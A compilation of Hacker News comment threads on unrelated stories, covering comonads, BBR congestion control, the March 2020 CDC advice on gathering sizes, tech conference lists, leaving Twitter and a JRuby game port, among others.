Comonads - <AUTHOR> http://www.clojure.net/2013/02/02/Comonads/ <comment><USER2> Comonads tend to well represent a notion of computing where you're isolating a particular section of your data in relation to its context. Compare this to monads which are often thought to layer computational context atop pure values.

<comment><USER3> > Comonads tend to well represent a notion of computing where you're isolating > a particular section of your data in relation to its context.

This was the piece missing for me to understand comonads, worded exactly the way I needed. Thank you.

The author mentioned zippers, but for some reason I didn't quite get it (`a collection with one of the items being at the focus,` perhaps it sounded too specific for me at first)

<comment><USER2> I'm glad!

Duality is your best friend when trying to understand nice concepts like monads and comonads. You automatically get two chances to examine every topic.

</comment></comment></comment><comment><USER4> I've looked into comonadic IO before and it seems to me that it isn't actually useful except in very narrow use cases that can barely be described as IO. An example of asynchronous IO as a comonad would be very useful.

> Since he's forgotten more than I'll every know about programming, I tend to > accept that statement.

This seems to be an unwise principle under which to operate.

> Every monad has an associated comonad which is it's dual.

I would be very surprised if this was true. Monad and comonad are indeed dual concepts, but that doesn't mean that actual instances of monad have dual comonads and vice versa.

> What that means is, for every monad (which is triple of data type, result > function and bind function that obey the monad laws), there exists a triple > which has a data type, an extract function and an extend function that obeys > the comonad laws.

This is a true but trivial statement.

</comment><comment><USER5> I was hoping for a few concrete examples of where comonads can be useful. I have found the need for monads fairly often in my code but I've never found any reason to use a comonad.

<comment><USER6> This link offers three examples: [http://www.haskellforall.com/2013/02/you- could-have-invented...](http://www.haskellforall.com/2013/02/you-could-have- invented-comonads.html) (altough I find the object analogy to be unhelpful.)

I think the more striking example is the first: "builders" with a default starting value form a comonad, which is the dual of the Writer monad. A Haskell implementation can be found in package 'comonad-transformers' as the 'Traced' comonad.

Infinite streams also form a comonad ('Data.Stream.Infinite' from the 'streams' package).

</comment></comment><comment><USER7> Here we go again. Monad is a simple ADT. A data structure with constructors and selectors. There is no magic in it.

You could write it in Scheme, nothing special.

There is a special form in scheme called _delay_ which basically wraps an expression inside a lambda (all you need is lambda). It is a special form, because it has its own evaluation rule, which just passes its argument un- evaluated.

What is produces is called a _promise_ , which is basically this:

         (lambda () e)

Because procedures and _thunks_ are first-class "objects" we could cons them together into pairs or any other data-structures.

So we could make a list of promises. This list could, then, be folded or mapped or filtered the usual way.

Because you want to hide implementation details of how you hook promises together, you must have constructors and selectors.

To force a promise we just call it as a function

This is what monads really are.

[http://karma-engineering.com/lab/wiki/Tutorial10](http://karma- engineering.com/lab/wiki/Tutorial10)

Again, there is nothing special in "wrapping expressions into ADTs" just because we can, and especially because it is very clever.

The situation in which we really need delayed and encapsulated computations are quite rare, so all this monadic stuff must be thought as a special case, not as a general computation strategy.

 _We need no monads or comonads to manipulate elements of a vector_. Sometimes we may need a vector of promises, or a vector of partially applied procedures (closures) or any combination of delayed and partially applied procedures, but that is, indeed, a special case and must be justified.

In Haskell, where they deliberately separate so-called pure functions from ones which have side-effects (performing I/O) by marking them with an additional type tag _and_ grouping them in a distinct block of code, usage of such ADTs is justified and makes sense. It has nothing to do with JVM which makes no distinction between pure and impure code.

<comment><USER8> > Monad is a simple ADT. A data structure with constructors and selectors

Are you talking about the Free monad? Or the reification of the monadic operations as a dictionary?

If so, that's a weird way to describe monads, and not very useful. Monads aren't ADTs in general.

> You could write it in Scheme, nothing special

Sure, though you might need to manually thread around the monad dictionary.

> There is a special form in scheme called delay which basically wraps an > expression inside a lambda (all you need is lambda).

It's supposed to be a memoized lambda, and not just a lambda (i.e: Force it twice, and it'll only be computed once).

> Because you want to hide implementation details of how you hook promises > together, you must have constructors and selectors. > To force a promise we > just call it as a function > This is what monads really are.

Hooking promises/thunks together is only one instance of a Monad.

Otherwise, Monads have very little to do with thunks or forcing of thunks.

This is not what Monads really are.

> The situation in which we really need delayed and encapsulated computations > are quite rare, so all this monadic stuff must be thought as a special case, > not as a general computation strategy.

This may be an argument against lazy evaluation, but it isn't an argument against Monads. Monads _are_ a pretty general computation strategy.

> We need no monads or comonads to manipulate elements of a vector

If we want to view the vector as a set of "possible results" and use a computation strategy that goes through/generates all possible results of all computations, then the list monad (in vector form) would be useful.

If we want to work with vectors that are all of the same length, zipping them together, then the "ZipList" monad would be useful.

We don't _need_ monads because a generalization is never _needed_. Generalizations make code applicable in more situations, and may help separating concerns.

> In Haskell, where they deliberately separate so-called pure functions from > ones which have side-effects (performing I/O) by marking them with an > additional type tag and grouping them in a distinct block of code,

You don't really have to "group them in a distinct block of code". "do" notation is just optional sugar.

Also, IO is just one instance of a Monad, and the usefulness of Monads goes far beyond IO. Having Monads even if you don't have any purity distinction in your language is still very useful.

<comment><USER7> _Monads aren 't ADTs in general._ The authors of haskell-98-tutorial thought otherwise.

btw, it is a good idea to reduce almost everything to the very basics - lambdas and special forms - it makes everything clear, concise and compact.

In terms of CS (not Math or any theory) Monad is an ADT. Period.

 _" do" notation is just optional sugar._ does GHC mix pure and impure code into a single .o?)

<comment><USER8> Where did the authors of haskell-98-tutorial say that monads are in general ADTs?

Do you mean algebraic data types or abstract data types? Monads aren't necessarily either one.

Particular instances of Monad (e.g: IO) are abstract data types. Many instances of monad are algebraic data types (e.g: []).

But there are non-abstract-type monads (e.g: StateT) and non-algebraic-data- type monads (e.g: (->) r)

> In terms of CS (not Math or any theory) Monad is an ADT

Monad is a generalization, some of the special cases are ADTs, some aren't.

> does GHC mix pure and impure code into a single .o

Sure, though I'm not sure why the division into object files is relevant?

<comment><USER7> They said it in a section which introduces monads.

What do you mean by []? A list? Pair is a the very-very classic ADT - cons/car/cdr.)

Because pure functional code could be executed in a different thread, paralleled, even spitted between different nodes.

<comment><USER8> [] is a list, yes (not a pair). I explicitly mentioned it as an example of a monad which _is_ an algebraic data type. Then I also mentioned (->) which isn't.

Why does the fact that pure code can be executed in all those ways relate to the object files? Same object file can have code of both kinds, and different pieces of code within it can run in different ways/threads/etc.

<comment><USER7> a List is a generalization of a Pair - it could be empty, while a Pair cannot (logically). Apart from that, a Non-empty List could be viewed as a self- referential (recursive) Pair or a chain of Pairs. So, technically, List is the same ADT as Pair (cond/car/cdr) plus explicit null? and list? functions.

Yes, they could, but it is more reasonable to split the code, so you could dlload or statically link the pure code independently from unsafe code.

<comment><USER8> A list is not a "generalization" of a pair. If anything that used something else was a "generalization" of that other thing, things would get confusing.

Why is it more reasonable to split the code? You get the safety from the type- system, so you don't need extra splitting in obj files. Such splitting would complicate matters, and have no extra gain.

<comment><USER7> _A list is not a "generalization" of a pair._ \- a lot of good people think otherwise: [http://www.youtube.com/watch?v=QV0A_hFPCnw](http://www.youtube.com/watch?v=QV0A_hFPCnw)

<comment><USER8> Again, please mention a specific quote and time...

Or do you expect me to invest 50 minutes finding that quote in there?</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment>


BBR: Congestion-Based Congestion Control - <AUTHOR> http://queue.acm.org/detail.cfm?id=3022184 <comment><USER2> This sounds amazing. Poor TCP congestion control algorithms have long been the limiting factor of today's broadband connections never reaching their potential speed. It looks like this was already patched into the kernel for those interested: [https://lwn.net/Articles/701149/](https://lwn.net/Articles/701149/) \- can't wait to experiment with this!

</comment><comment><USER3> This is a delay-based scheme; it is unlikely to work well if competing with a drop-based aggressive scheme like TCP Cubic.

As a result, while BBR is fantastic for deployment e.g. in Google's private WAN, it's unclear how well it would do in the Internet, and initial experiments are not promising [1].

[1] [http://www.ietf.org/mail- archive/web/tsvwg/current/msg14798....](http://www.ietf.org/mail- archive/web/tsvwg/current/msg14798.html)

<comment><USER4> I think that's a risk for sure -- if it can't compete with Cubic, what will the user experience be like? The authors note that it's still actively being researched. They do cite encouraging public internet deployment test results though:

"BBR is being deployed on Google.com and YouTube video servers. Google is running small-scale experiments in which a small percentage of users are randomly assigned either BBR or CUBIC. Playbacks using BBR show significant improvement in all of YouTube's quality-of-experience metrics, possibly because BBR's behavior is more consistent and predictable. BBR only slightly improves connection throughput because YouTube already adapts the server's streaming rate to well below BtlBw to minimize bufferbloat and rebuffer events. Even so, BBR reduces median RTT by 53 percent on average globally and by more than 80 percent in the developing world."

Regarding deployment: between Apple and Samsung they control 75% of mobile all mobile Internet traffic [1]. So with only two vendors deploying, we could see a very fast pace of adoption. Given there are now more mobile users than desktop users [2] and that mobile media time is now exceeding desktop media streaming time [2] it seems like mobile Internet traffic could be the majority (would love to know if anyone can find better stats on this, i.e. % of Internet traffic mobile vs desktop). A decade ago

But yes on private-backbone use cases like Google (and other companies with a lot of private fiber networks) are likely the most immediate adopters it could easily save millions a year -- 133x throughput (!)

"Manually raising the receive buffer on one US-Europe path caused BBR immediately to reach 2 Gbps, while CUBIC remained at 15 Mbps—the 133x relative improvement predicted by Mathis et al."

[1] [http://marketingland.com/report-apple-iphone-drives-half- mob...](http://marketingland.com/report-apple-iphone-drives-half-mobile- internet-traffic-111129) [2] [https://hostingfacts.com/internet-facts- stats-2016/](https://hostingfacts.com/internet-facts-stats-2016/)

<comment><USER3> Right, it's unclear however the context of the YouTube results. If they evaluated on links bottlenecked at the edge at 128Kbps, BBR isn't really competing with Cubic anywhere.

This isn't to say that BBR is "bad" \- just that it's not mentioned what the "quality of experience metrics" are. They're obviously not getting better throughput, and the only way they can improve delay is if the edge buffer is overprovisioned (i.e. bufferbloat). In that case (edge bottleneck, relatively low BW), I'd be interested to see a comparison to Sprout[1].

[1] [https://www.usenix.org/system/files/conference/nsdi13/nsdi13...](https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final113.pdf)

</comment></comment></comment><comment><USER5> I believe I read yesterday this is being committed soon to FreeBSD head.</comment>


Static Linking Considered Harmful - <AUTHOR> https://akkadia.org/drepper/no_static_linking.html <comment><USER2> The maintainer of glibc believes the only way is the glibc way. Color me surprised.</comment>


CDC says U.S. gatherings of over 50 people should be put off - <AUTHOR> https://www.bloomberg.com/news/articles/2020-03-15/cdc-says-gatherings-over-50-people-should-be-delayed-eight-weeks <comment><USER2> > The advisory doesn't apply to the day-to-day operation of organizations such > as schools, institutes of higher learning, or businesses...

Why not? A theater playing Emma on a schedule isn't somehow safer than a movie theater hosting a one-time corporate event, for the same number of people. Or a normal day at a large restaurant versus the same restaurant reserved for a private party. Why advise that the later be put off but not the former?

> Events of any size should only be continued if they can be carried out with > adherence to guidelines for protecting vulnerable populations, hand hygiene, > and social distancing

Say such a business tried to continue to hold events while adhering to the guidelines. It seems that "protecting vulnerable populations" would mean not admitting people with comorbidities, such as the elderly, obese, diabetic, smokers, etc. I'd think that equal access laws such as the ADA would prevent such an attempt.

</comment><comment><USER3> At first I was happy to see this. But now I am not happy to see this, because it's making me realize that this is the only action that's going to be put in place over the next few days.

Too little, too late. This type of regulation made sense 2 weeks ago, combined with a halting of all international travel and an advisory against interstate travel.

The virus got out of control though. We don't know how many are infected, but we know our ground zero is 10-100x worse than the ground zero of nations that managed to get things under control.

People need to brace for impact. The US medical system is going to be overwhelmed by people in critical condition. The government has been too slow to respond.

<comment><USER4> > People need to brace for impact. The US medical system is going to be > overwhelmed by people in critical condition.

I'd just like to point out that when you say the "US medical system" you're talking about a large area. It's not like a country like Italy which is smaller than the state of California but 30% more people. The US is far more spread apart and while that doesn't mean it will be better here, it does mean that you can't think about the US just like a single country. Same with China, too.

<comment><USER5> You're still only talking about 700,000 beds for a disease that will likely cause 1,000,000 deaths and put huge numbers in the ICU and even more in hospital care.

A bed in Maine does no good if the patient is in LA and the doctor is in North Dakota.

<comment><USER6> Let's also not forget the trend for years has been to eliminate beds to save $$$. Rural hospitals will be hit the worst by this, most are now just outpatient hospitals with limited number of beds.

</comment></comment></comment></comment><comment><USER7> Meetings over 1 should be avoided.

Wash hands. Cover coughs. Maintain a minimum of 6ft distance .

</comment><comment><USER8> The effectiveness of this warning on people who would not already limit their gatherings is questionable. Many people are just in denial or deluded about how serious this pandemic is, and are unlikely to significantly change their behavior until and unless people start dropping dead all around them.

The most effective thing the CDC can do is just to dramatically increase the amount of testing by hundreds or thousands of times over what it's doing now, then publish the results. If people know how many others are infected all around them it might give more of them pause.

The government also needs to do whatever it takes to increase ICU capacity at hospitals, and give them more resources and support of every kind.

We are very likely on the brink of a collapse of the ability of our health care system to take care of the most vulnerable, with a death toll that will dwarf in American casualties any war the US has been in and the direst of economic consequences if the pandemic is not slowed to a manageable level.

<comment><USER9> > We are very likely on the brink of a collapse of the ability of our health > care system to take care of the most vulnerable, with a death toll that will > dwarf in American casualties any war the US has been in and the direst of > economic consequences if the pandemic is not slowed to a manageable level.

This seems over the top.

I thought the death rates are insignificant for those younger than 60, and those who succumb to it already have pre-existing health/respiratory issues. Doesn't influenza cause thousands of deaths per year?

I am mostly playing devil's advocate, I am genuinely curious to hear why you have so much fear.

<comment><USER10> For example, 97.1% of fatalities in Italy are over 60 years old, and 99.9% of fatalities are over 50 years old.

The 65+ crowd isn't living paycheck to paycheck and working every day to pay for rent and groceries. There are a lot of people living paycheck to paycheck who are at basically zero risk from this virus who should be allowed to work.

Since we're talking about a few trillion dollars of economic damages, I would expect something a bit less hysterical and a bit more focused on the actual at-risk population.

<comment> crooked-v "Let the young people go to work" means you now have to somehow completely isolate everyone over 60... while still providing them health care from uninfected people... while almost literally everyone else in the country is getting infected.

And even then, 3% fatalities under 60 with a 2% fatality rate means that 0.06% of those people under 60 will die. In the US, that means a minimum of (napkin math: 327 million * 85% * 0.06%) 1.66 million people, and almost certainly much more than that, because all of those under-60 severe cases are wildly overloading hospitals and so are unable to get the care they need.

All of this is the strategy that the UK is currently undertaking, which can be generously described as "completely insane" because they don't have the support system for all of those over-60 people to safely self-isolate or the hospital capacity to handle the flood of severe under-60 cases that will show up over the next month or so.

<comment><USER10> It seems like the alternative is to completely isolate _everyone_ so I'm not sure why isolating just the at-risk population is worse than that.

We have ~100 cases in MA currently. On April 20th when we have ~100 do we have to lock down the state all over again?

<comment><USER11> Economic hardship does not kill those under 35. You need to focus on the social good.

</comment></comment></comment></comment></comment></comment><comment><USER12> This will become the new normal. A two week quarantine won't fix anything, and the virus will spread all over again once the quarantine is lifted and a bunch of not immune carries venture out in public again. Then we will go into another lockdown and the cycle will repeat.

<comment><USER13> They won't lift the lockdown until we've hit certain markers, I'm sure.

This is why de Blasio took so long (or rather was forced by Cuomo and other state's moves) to close schools. Once you close the schools, they aren't opening for the rest of the year and potentially into the next school year.

<comment><USER14> There may be many reasons to be reluctant to close schools.

Some kids get a lot of their food from school and go hungry when school is closed.

A lot of parents are dependent on school as de facto daycare and can't afford to pay for childcare when school isn't in session.

<comment><USER15> why would you need / how would you get

childcare when we're all quarantined at home?

<comment><USER14> If the parent isn't being ordered home yet by the government, state law says "Your child is too young to leave home alone while you work" and they shut the schools down under circumstances where you will find it nigh impossible to get daycare at all because the entire city is dealing with the same issues, this could get you fired (or charged with child neglect if you go to work and leave your child home alone).

Lots of people are amazingly callous, but some aren't. Some are reluctant to pull the trigger on a decision like that, knowing how many people will get caught in the crossfire and have their lives essentially ruined even if we magically come up with a cure for the virus tomorrow.

</comment></comment></comment></comment></comment><comment><USER16> Moderators: Here is the direct (non-paywalled) announcement from CDC:

[https://www.cdc.gov/coronavirus/2019-ncov/community/large- ev...](https://www.cdc.gov/coronavirus/2019-ncov/community/large-events/mass- gatherings-ready-for-covid-19.html)

<comment><USER17> This should be at the top

</comment></comment><comment><USER18> Put off for 8 weeks. Let's make the assumption that people follow the rule and things seem to go well and we get to May 10th. What will they say for the next max size gathering? 250? Small ramp ups? Or do you think they'll continue to say stay below 50 and the 8 week time limit is all that can looked ahead to?

We really need well run prediction markets on this. Getting more accurate forecasts on this is incredibly valuable.

<comment><USER19> I would love, love, love to learn more about whether and how China is rebooting and how that is going. Haven't seen much reporting on it. Aside from Apple's plans to reopen their stores there.

<comment><USER20> Outside of Hubei, most people are back to work in some form or another now.

Throughout February white collar workers worked from home. Since March we've been allowed back to the office, although there are draconian restrictions (must not sit at same table, must wear mask, must report temperature etc). Schools are still closed so many parents continue to work from home.

Blue collars have been going back to work for several weeks, although I imagine they are facing similar or even harsher restrictions than white collars.

I think pink collars have suffered the most of everybody. Many restaurants have reopened, but in my neighborhood it's only this week that some barbershops reopened, and there are still no bars open, no movie theaters, no events venues etc.

My guess would be the country is about 60-70% back to work now, but those who are back are definitely not operating at maximum efficiency due to the ongoing travel restrictions, testing restrictions and closed up schools.

I would urge people in the west look at other countries in East Asia that handled this without a massive lockdown. China is not really a great example to follow.

</comment></comment></comment><comment><USER19> I want those in leadership positions to stop saying "should" and start saying "must".

<comment><USER21> I suspect they are worried about backlash related to freedom of assembly or freedom of religion.

</comment></comment><comment><USER22> Only thing we can do now is stop people from leaving their house for the next 4 weeks. We don't even have any testing capacity, nation should be shutting down till we have the means to constrain the virus.

<comment><USER23> Yeah, that would cause many times more deaths than Coronavirus ever would. Unsurprisingly, people still need food and medicine to survive.

<comment><USER22> Worked for China. If we don't do anything we'll have 7% mortality rate that Italy is reporting.

</comment></comment></comment><comment><USER24> Does that mean you shouldn't gather on, oh say an airplane?

<comment><USER17> This is a legitimate question IMO. You're in much tighter quarters for far longer while flying most domestic routes.

<comment><USER24> Our family went on self quarantine a week ago because one of us is immunocompromised, but we have travel plans for a wedding in 6 weeks.

</comment></comment></comment><comment><USER10> MA just announced a ban on all gatherings over 25 people. Restaurants are all now take-out only. Health clubs closed. All shows and schools canceled. Etc.. Currently this is through April 7th.

I hope the government is also planning to pay people's rent, mortgage, electric, water, groceries, credit card interest, etc.

A friend of mine runs a small local restaurant. Not sure how he will pay rent. All of his servers are now temporarily unemployed and have no way to buy food or pay rent.

Another friend of mine is a personal trainer. Not sure how he will buy groceries next week.

The vast majority of the people most directly impacted by all this are essentially at zero risk of dying from COVID. And on April 7th it's not like COVID will cease to exist...

"Locking everything down" is an incredibly damaging and nonsensical action for the vast majority of the population.

<comment><USER25> >And on April 7th it's not like COVID will cease to exist...

This is the most important part.

Its not clear whats being done to prep for the end of lockdowns. Once everything resumes so will the spread (all) viruses

<comment><USER26> We've seen in examples like South Korea that it is possible to keep the virus in check by doing extensive testing, contact tracing, and temperature checks.

We don't have those available right now and are looking at disaster if we don't lock down. Our testing capacity will grow significantly and by later we can take those measures and get back closer to normal life.

</comment></comment></comment><comment><USER27> The Democratic National Committee needs to postpone the primaries scheduled for this Tuesday.

<comment><USER28> I'd tend to agree but it could set a very dangerous precedent. I think that's one of the few things that's worth not postponing.

<comment><USER13> Well, society has never faced an epidemic during an election year, so unprecedented times might call for unprecedented measures.

<comment><USER29> Might as well call off the election then. These are unprecedented times after all.

<comment><USER30> If the election was held in April, yes absolutely you should. Unless you have virtual election options available.

</comment></comment></comment></comment></comment><comment><USER31> Apparently Austria just banned any gatherings of 5+ people. Are we in the US behind?

</comment><comment><USER32> Grocery stores? Pharmacies?

<comment><USER33> Should be minimized, but obviously can't be eliminated. There are some services that can't be locked down, but that's OK as long as the community transmission risk as a whole is suppressed enough. Herd immunity isn't only about antibodies, the same mathematics works no matter how you reduce transmission rate.

<comment><USER4> Some stores here are limiting hours to something reasonable: it gives them time to re-stock and to clean. This seems not only reasonable but completely sane. Close down for 8 hours a day minimally so that they can clean stores.

<comment><USER28> Although it also makes the times they are open more crowded.

<comment><USER34> I can assure you the fear in the faces of the Walmart workers Thursday evening, as they had presided over emptier shelves every hour than any had ever seen, was fear of rationing more so than fear of contracting disease.

That was the last day before they limited hours.

<comment><USER4> Perhaps. Around here this isn't something unusual when a hurricane or crazy weather event is in the forecast.

Call it naive optimism, but hopefully in the next few days people will calm down and things might sort-of go back to normal.

<comment><USER34> This was much worse shortage developing more rapidly than the anticipated approach of more-accurately-predicted certain widespread destruction from closely looming hurricanes like Ike and Harvey.

It only takes a small fraction of the population to act overly cautiously in the face of perceived impending disaster, and you get throughput out the front door in shopping carts greater than they are ready to keep up with from truckloads in the back door.

Would be great if selection and available hours are broadened back to normal soon

>hopefully in the next few days

but until then it looks like rationing has already started in the big city.

Within about the last 4 hours, the White House has addressed hoarding food as the situation has become significant enough for them to go on record.

>_You don't have to buy so much,_ Trump said at a news conference. _Take it easy. Just relax._

>Pence urged Americans to only buy the groceries they need for the week ahead.

While Dr. Anthony Fauci,

>the government's top infectious disease expert said he would like to see aggressive measures such as a 14-day national shutdown that would require Americans to hunker down even more to help slow the spread of the coronavirus.

</comment></comment></comment></comment></comment></comment></comment><comment><USER35> They need to just bite the bullet and lock everything down. We are way, way behind the curve here and cases and deaths are going to skyrocket no matter what we do at this point. But if we lock down now, we might be able to see the numbers plateau in a few weeks.

<comment><USER36> The US has major public leaders [1] and news organizations actively suggesting to people this is overblown and that they should go continue about their normal lives. We are so completely far from that step happening on a national level.

Edit: Source added.

[1] [https://www.motherjones.com/coronavirus- updates/2020/03/devi...](https://www.motherjones.com/coronavirus- updates/2020/03/devin-nunes-this-is-why-we-cant-have-nice-things-coronavirus/)

<comment><USER37> What's the most recent example? It seems to me as though any diminution of the crisis stopped this weekend.

<comment><USER38> Literally several Republicans today. The Governor of Oklahoma tweeted a pic of himself at a busy restaurant last night ([https://pbs.twimg.com/media/ETHs_hQUcAAu3Ep?format=jpg](https://pbs.twimg.com/media/ETHs_hQUcAAu3Ep?format=jpg)).

Sheriff David Clarke, who has nearly a million followers on Twitter just said this a few hours ago and got thousands of retweets and favorites:

> _It is now evident that this is an orchestrated attempt to destroy > CAPITALISM. First sports, then schools and finally commercial businesses. > Time to RISE UP and push back. Bars and restaurants should defy the order. > Let people decide if they want to go out._

> _GO INTO THE STREETS FOLKS. Visit bars, restaurants, shopping malls, > CHURCHES and demand that your schools re-open. NOW! If government doesn't > stop this foolishness...STAY IN THE STREETS. END GOVERNEMNT CONTROL OVER OUR > LIVES. IF NOT NOW, WHEN?_

[https://twitter.com/SheriffClarke/status/1239324440934133760](https://twitter.com/SheriffClarke/status/1239324440934133760)

These people are psychotic and should be expelled from polite society.

<comment><USER39> You shouldn't be downvoted for sharing facts.

<comment><USER40> He didn't just share facts, he expressed an extreme personal opinion.

<comment><USER41> I think that popular figures trying to exacerbate a pandemic by sowing public distrust deserve a bit of vitriol in response. It's not a subject that's really amenable to polite argument; Sherrif Clarke is killing people, as surely as if he walked up and shot them in the head.

<comment><USER38> As OP -- One of my really good friends (and a mother of 3) is currently undergoing chemo to knock out her immune system and prep her for a bone marrow transplant since she discovered she has severe aplastic anemia on Christmas, several of my family members work in primary care in hospitals, I have a large very close-knit family with ~10 uncles/aunts with significant Covid19 comorbidities and a 90-year old grandfather who lives in an urban center. If "Expelling people from polite society" for directly endangering all of their lives is extreme then I'm glad I didn't share my true opinion of what should happen to these charlatans.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER42> you d think that public service announcements would not be put behind a paywall

<comment><USER43> The CDC web site is not behind a paywall.

<comment><USER42> Public service announcements are meant to be broadcast by the media

<comment><USER43> PSAs are meant to be broadcast to all audiences.

On a subscription service, the audience is the subscribers.

There's no requirement that I'm aware of for subscription services to offer non-subscribers any content of any sort, including PSAs.

</comment></comment></comment></comment><comment><USER44> It's 5 in Australia

<comment><USER45> Did you mean Austria?

[https://www.bloomberg.com/news/articles/2020-03-15/austria-c...](https://www.bloomberg.com/news/articles/2020-03-15/austria- clamps-down-on-public-life-as-coronavirus-cases-soar)

</comment></comment><comment><USER46> Oh now they say it? What a lack of leadership.

<comment><USER47> You'd rather they not say it all?

<comment><USER48> I'd rather they said it a week or two ago.

</comment></comment></comment><comment><USER49> So 49 people in a small room is okay? Like a classroom? WTF

Same CDC that refused the working tests from WHO, then made their own tests incorrectly, then produced so few tests that we have no idea who is infecting hundreds of others for days, weeks.

The post-analysis of this is going to be jaw-dropping. Like worse than "determined to fly airplanes into buildings" report that was ignored before 9/11

<comment><USER50> The purpose of these restrictions are to keep spread of the virus within communities and to avoid inter community infection. This helps significantly flatten the curve.</comment></comment>


The story of Homer: Voyage's first self-driving taxi - <AUTHOR> https://news.voyage.auto/the-story-of-homer-voyages-first-self-driving-taxi-f0a6466718af <comment><USER2> This looks incredible, the brand new SDC hardware gets me excited! What's the next milestone your guys plan to hit? Are you going to be utilizing or releasing any open source software? I'm always looking for more stuff to hack on</comment>


"to allow U.S. companies to retaliate in cyberspace against their attackers" - <AUTHOR> http://dailycaller.com/2013/09/20/ceo-wants-companies-to-be-able-to-hack-back-against-hackers/

<comment><USER2> An eye for an eye...you know the rest.</comment>


Scientists Analyze Public Leaders' Voices to Discover the Basis for Charisma - <AUTHOR> http://www.wsj.com/articles/how-to-train-your-voice-to-be-more-charismatic-1417472214

<comment><USER2> "Tended to manage larger companies. Made up to $187,000 a year more than higher-pitched peers. Lasted as many as five months longer as the head of a firm."

This is an interesting research. I have not read the research underpinning this article on WSJ, but somehow I cannot shake away the notion that this is more correlation than causation for determining the CEO's success. Btw, do some of the famous tech CEOs - Steve Jobs, Bill Gates and Mark Zuckerberg - have low pitch or high? I think theirs might lean to the higher pitch of the male voice spectrum.</comment>


10 European Tech Events That YOU Should Attend - <AUTHOR> https://speakerdeck.com/elie/10-european-tech-events-that-you-should-attend

<comment><USER2> #10 Hy! Berlin - [http://hy.co/](http://hy.co/) \- 3-4/June/2013

#9 Web2day Nantes - [http://www.web2day-nantes.org/](http://www.web2day- nantes.org/) \- 16-17/May/2013

#8 Next Berlin - [http://nextberlin.eu/](http://nextberlin.eu/) \- 23-24/April/2013

#7 API Days - [http://apidays.io/](http://apidays.io/) \- 3-4/December/2012

#6 Take Off - [http://takeoffconf.com/](http://takeoffconf.com/) \- 17-18/January/2013

#5 dot Conferences - [http://www.dotconferences.eu/](http://www.dotconferences.eu/) \- dotScale 7/June/2013, dotJS 2/December/2013, dotRB 18/October/2013

#4 le web - [http://www.leweb.co/](http://www.leweb.co/) \- 10-12/December/2013\. le web London 5-6/June/2013

#3 Dublin Web Summit - [http://www.dublinwebsummit.com/](http://www.dublinwebsummit.com/) \- 30-31/October/2013

#2 Tech Open Air Berlin - [http://www.toaberlin.com/](http://www.toaberlin.com/) \- 1-2/August/2013

#1 TNW - [http://thenextweb.com/conference/europe/](http://thenextweb.com/conference/europe/) \- 24-25/April/2014

Who thought that a slide deck was the best way to present this information?

<comment><USER3> Someone tracking conversions :)

</comment></comment><comment><USER4> Interesting that most of the well known UK events don't get a mention. HN London is Europe's largest regular tech event for example.

Side-point: I've been to LeWeb a few times and I have yet to meet a single person who felt the cost was justified.

<comment><USER5> Same with c3 in berlin.

<comment><AUTHOR> I'd love to make it more exhaustive in the coming months. It will never be perfect though!

</comment></comment></comment><comment><USER3> Top 10 list from a digital marketing manager...

<comment><AUTHOR> There is a slide with 10 "tech events" more developer oriented :)

Any feedback is subjective, I just hope it will be useful for some folks!</comment></comment>


Hey Bro, you're being insensitive - <AUTHOR> http://danilocampos.com/2013/11/hey-bro-youre-being-insensitive/

<comment><USER2> >The point is, though, you did make someone uncomfortable. Without knowing why. Nothing more is meant by "insensitivity." You are simply absent the configuration of social senses that would have otherwise averted this confrontation.

Yeeeep, stopped reading.

By the way the word 'bro' triggers me; in some way, somehow. Please apologise and check your privilege. /s

</comment><comment><USER3> The continued use of the word "bro" is insensitive. It implies my gender to be uniquely at fault.

That sounds like I'm baiting the poster but I genuinely felt it to undermine the message and alienate me as a male reader.

</comment><comment><USER4> Im not a 'bro'... brah</comment>


Ask HN: GitHub push to master = zip up repo, upload to S3 - <AUTHOR>

I'm looking to do pretty much what the title says.
I'm using a PHP auto-updater for a WordPress plugin, and what I can do is simply update a JSON file remotely and everyone with the plugin will get an update to install the new upgrade. Pretty sweet.
To streamline things, though, I'd like to be able to simply have the JSON file be update automatically; this means that every time there's a new push to master on GitHub, that code will be zipped and uploaded to S3; then that S3 link will be updated in the JSON file. <comment><USER2> I think git hooks are the way to go here.</comment>


Why I (mostly) dropped off Twitter - <AUTHOR> https://medium.com/@getify/why-i-mostly-dropped-off-twitter-6fe5cf5c5e2f <comment><USER2> It seems to me that this is partly about Twitter, and a lot about the author's personal addiction to it.

I never really got into twitter because of the reasons he listed: way too short messages, echo chambers, and people spouting inane streams of consciousness into the twitter ether.

I don't see the point of it; I see people with tens of thousands of tweets that don't mean anything.

—

That said. I think twitter is great for keeping informed on certain events- for me, esports tournaments.

I also think it's useful for connecting with people and spreading info about what you're doing- like OSS projects, etc.

Lastly, it's hard to not be on twitter. It's such a huge social behemoth with a vast number of users, arbitrary limitations or not. There isn't really an alternative besides maybe mastodon if it had more people (doubt it; federation isn't easily grasped or shiny).

—

Like anything in life it's about moderation. If you check HN 14 times a minute that's bad also.

<comment><AUTHOR> Agreed, still I thought it was a very interesting reflection on Twitter and its community from one of the best JavaScript writers.</comment></comment>


The New Socialism: Global Collectivist Society Is Coming Online - <AUTHOR> http://www.wired.com/culture/culturereviews/magazine/17-06/nep_newsocialism?currentPage=all <comment><USER2> The author redefines the word, 'Socialism', to mean something entirely different than any of the generally accepted meanings.

In the marketplace for ideas, just as in the market for used cars, this is called 'bait and switch'.

</comment><comment><USER3> This is hacker news, hardly the place you expect to find links to wired! Particularly articles that play as hard and fast with the language as this one. The whole article rests on the loose language of the subject line. If the headline had been "communities work together to achieve things online just as they do offline" there wouldn't have been a story. And - indeed - there isn't.

<comment><USER4> Exactly. I think there's an interesting story here, but calling it "socialism" is just shameless linkbait.

</comment></comment><comment><USER5> This is more anarchism than socialism.

<comment><USER6> No. Online collaboration and the open source movement are not political ideologies. They are not anarchism, socialism, communism, or anything else like that.</comment></comment>


An in-progress JRuby port of notch's 48 hour "Ludum Dare" game competition entry - <AUTHOR> https://github.com/peterc/potc-jruby <comment><USER3> One thing I was taken back by while watching Notch coding (besides his incredible productivitiy) was that all of his code was super-simple... no crazy tricks (besides some nice bit-twiddling), no weird data structures, no language-specific magic: I don't know much Java but I understood every single thing he did! That's awesome.

In fact, the source code is so straightforward that I think you could almost automatically generate the game in other languages!

<comment><USER4> Well to be honest there is very little language-specific magic in java - <USER2> base language is very simple (in terms of complexity of the language, not how easy it is to code in).

